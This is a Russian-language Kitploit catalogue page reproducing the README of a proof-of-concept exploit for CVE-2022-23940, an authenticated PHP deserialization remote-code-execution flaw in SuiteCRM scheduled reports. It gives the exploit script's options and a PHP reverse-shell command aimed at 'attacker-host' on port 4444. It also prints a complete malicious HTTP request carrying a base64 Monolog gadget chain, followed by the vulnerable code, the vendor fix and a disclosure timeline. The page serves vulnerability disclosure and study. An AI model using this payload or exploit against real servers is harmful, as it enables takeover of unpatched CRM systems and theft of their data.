Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2022-23940 — PoC for CVE-2022-23940 | Kitploit
Инструменты/GitHubGitHub/manuelz120/cve-2022-23940
Vulnerability AnalysisCode AnalysisExploitationWeb Application ExploitationPenetration TestingPayload Development
GitHubmanuelz120/cve-2022-23940

CVE-2022-23940

PoC for CVE-2022-23940

Репозиторий
1471 год назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться
Сайт

CVE-2022-23940

PoC для CVE-2022-23940, также известной как SCRMBT-#187 – аутентифицированное удалённое выполнение кода через запланированные отчёты в SuiteCRM (<= 7.12.4) и SuiteCRM-Core (<= 8.0.3).

Эта уязвимость была сообщена SalesAgility и исправлена в SuiteCRM 7.12.5 и SuiteCRM Core 8.0.4. В затронутых версиях любой пользователь с разрешением на создание запланированных отчётов может получить удалённое выполнение кода и скомпрометировать сервер. Если вы используете старые версии SuiteCRM, настоятельно рекомендую обновиться.

Использование

Установка

  1. Убедитесь, что у вас установлена свежая версия python3 и pip.
  2. Клонируйте репозиторий: git clone https://github.com/manuelz120/CVE-2022-23940.git
  3. Установите необходимые библиотеки: pip3 install -r "requirements.txt"
  4. Наслаждайтесь :)

Доступные опции:

root@kitploit:~
(.venv) ➜  CVE-2022-23940 git:(main) ✗ ./exploit.py --help
Usage: exploit.py [OPTIONS]

Options:
  -h, --host TEXT        Root of SuiteCRM installation. Defaults to
                         http://localhost
  -u, --username TEXT    Username
  -p, --password TEXT    password
  -P, --payload TEXT     Shell command to be executed on target system
  -d, --is_core BOOLEAN  SuiteCRM Core (>= 8.0.0). Defaults to False
  --help                 Show this message and exit.

  https://github.com/manuelz120/CVE-2022-23940

Пример использования:

asciicast

root@kitploit:~
# Запуск PHP Reverse Shell на атакующий хост на порт 4444
./exploit.py -u user -p redacted --payload "php -r '\$sock=fsockopen(\"attacker-host\", 4444); exec(\"/bin/sh -i <&3 >&3 2>&3\");'"

Описание

Пользователи, которые могут создавать Запланированные отчёты (могут создавать записи в модуле AOR_Scheduled_Reports), могут выполнить произвольный код на сервере, используя уязвимость десериализации PHP.

Модуль AOR_Scheduled_Reports хранит получателей email-уведомлений об отчётах в виде сериализованных строк в кодировке base64. При получении данных запланированного отчёта указанный столбец десериализуется. Если злоумышленнику удаётся вставить произвольное содержимое в этот столбец, он может добиться RCE с помощью различных гаджетов десериализации PHP (в моих тестах я использовал Monolog/RCE2 из инструмента phpggc).

Полезная нагрузка может быть сохранена в базе данных с помощью устаревшего вызова сохранения модуля AOR_Scheduled_Reports. Сервер ошибочно предполагает, что параметр email_recipients всегда является массивом. Однако если вредоносный клиент передаёт email_recipients как строку, данные будут сохранены в БД как есть. После десериализации гаджеты выполняются на сервере, и мы получаем удалённое выполнение кода.

Уязвимая реализация функции save в классе AOR_Scheduled_Reports. Далее видно, что get_email_recipients вызывает unserialize для содержимого, хранящегося в базе данных:

root@kitploit:~
// SuiteCRM-Core/public/legacy/modules/AOR_Scheduled_Reports/AOR_Scheduled_Reports.php

public function save($check_notify = false)
{
    if (isset($_POST['email_recipients']) && is_array($_POST['email_recipients'])) {
        $this->email_recipients = base64_encode(serialize($_POST['email_recipients']));
    }

    return parent::save($check_notify);
}

public function get_email_recipients()
{
    $params = unserialize(base64_decode($this->email_recipients));
    // ....

Пример запроса для создания такого вредоносного запланированного отчёта (если декодировать значение email_recipients, можно увидеть, что оно выполняет touch /tmp/hacked):

root@kitploit:~
POST /index.php HTTP/1.1
Host: localhost
User-Agent: python-requests/2.25.1
Accept-Encoding: gzip, deflate
Accept: */*
Connection: close
Referer: http://localhost
content-type: application/x-www-form-urlencoded
Cookie: PHPSESSID=e7alkhdo7lrknc8a7l6v2rpanr; sugar_user_theme=SuiteP
Content-Length: 999

module=AOR_Scheduled_Reports&action=Save&name=test&status=active&schedule_type=monthly&email_recipients=YToyOntpOjc7TzozMjoiTW9ub2xvZ1xIYW5kbGVyXFN5c2xvZ1VkcEhhbmRsZXIiOjE6e3M6OToiACoAc29ja2V0IjtPOjI5OiJNb25vbG9nXEhhbmRsZXJcQnVmZmVySGFuZGxlciI6Nzp7czoxMDoiACoAaGFuZGxlciI7TzoyOToiTW9ub2xvZ1xIYW5kbGVyXEJ1ZmZlckhhbmRsZXIiOjc6e3M6MTA6IgAqAGhhbmRsZXIiO047czoxMzoiACoAYnVmZmVyU2l6ZSI7aTotMTtzOjk6IgAqAGJ1ZmZlciI7YToxOntpOjA7YToyOntpOjA7czoxNzoidG91Y2ggL3RtcC9oYWNrZWQiO3M6NToibGV2ZWwiO047fX1zOjg6IgAqAGxldmVsIjtOO3M6MTQ6IgAqAGluaXRpYWxpemVkIjtiOjE7czoxNDoiACoAYnVmZmVyTGltaXQiO2k6LTE7czoxMzoiACoAcHJvY2Vzc29ycyI7YToyOntpOjA7czo3OiJjdXJyZW50IjtpOjE7czo2OiJzeXN0ZW0iO319czoxMzoiACoAYnVmZmVyU2l6ZSI7aTotMTtzOjk6IgAqAGJ1ZmZlciI7YToxOntpOjA7YToyOntpOjA7czoxNzoidG91Y2ggL3RtcC9oYWNrZWQiO3M6NToibGV2ZWwiO047fX1zOjg6IgAqAGxldmVsIjtOO3M6MTQ6IgAqAGluaXRpYWxpemVkIjtiOjE7czoxNDoiACoAYnVmZmVyTGltaXQiO2k6LTE7czoxMzoiACoAcHJvY2Vzc29ycyI7YToyOntpOjA7czo3OiJjdXJyZW50IjtpOjE7czo2OiJzeXN0ZW0iO319fWk6NztpOjc7fQ%3D%3D%0A

Реализованное исправление

Если посмотреть на исправленный код, можно заметить, что разработчики добавили новую функцию parseRecipients, которая анализирует и проверяет данные, хранящиеся в параметре email_recipients, перед сохранением в базу данных. Данные сохраняются только в том случае, если значение соответствует ожидаемому формату. Поэтому десериализация для RCE больше не работает:

https://github.com/salesagility/SuiteCRM-Core/commit/63b969478d812d5ed937bf54fe5b174232e91a00#diff-0c100713e7e6c2c4c068cb4fe88342c6b0166cfcf06f57589120853a3f2ad2f2R205-R221

исправленный код

Хронология

  • 24.01.2022: Уязвимость обнаружена и сообщена в SuiteCRM
  • 25.01.2022: Уязвимость подтверждена поставщиком (SalesAgility)
  • 02.03.2022: Выпуск исправленных версий (SuiteCRM 7.12.5 и SuiteCRM Core 8.0.4)

Благодарности

  • phpggc
Скачать инструмент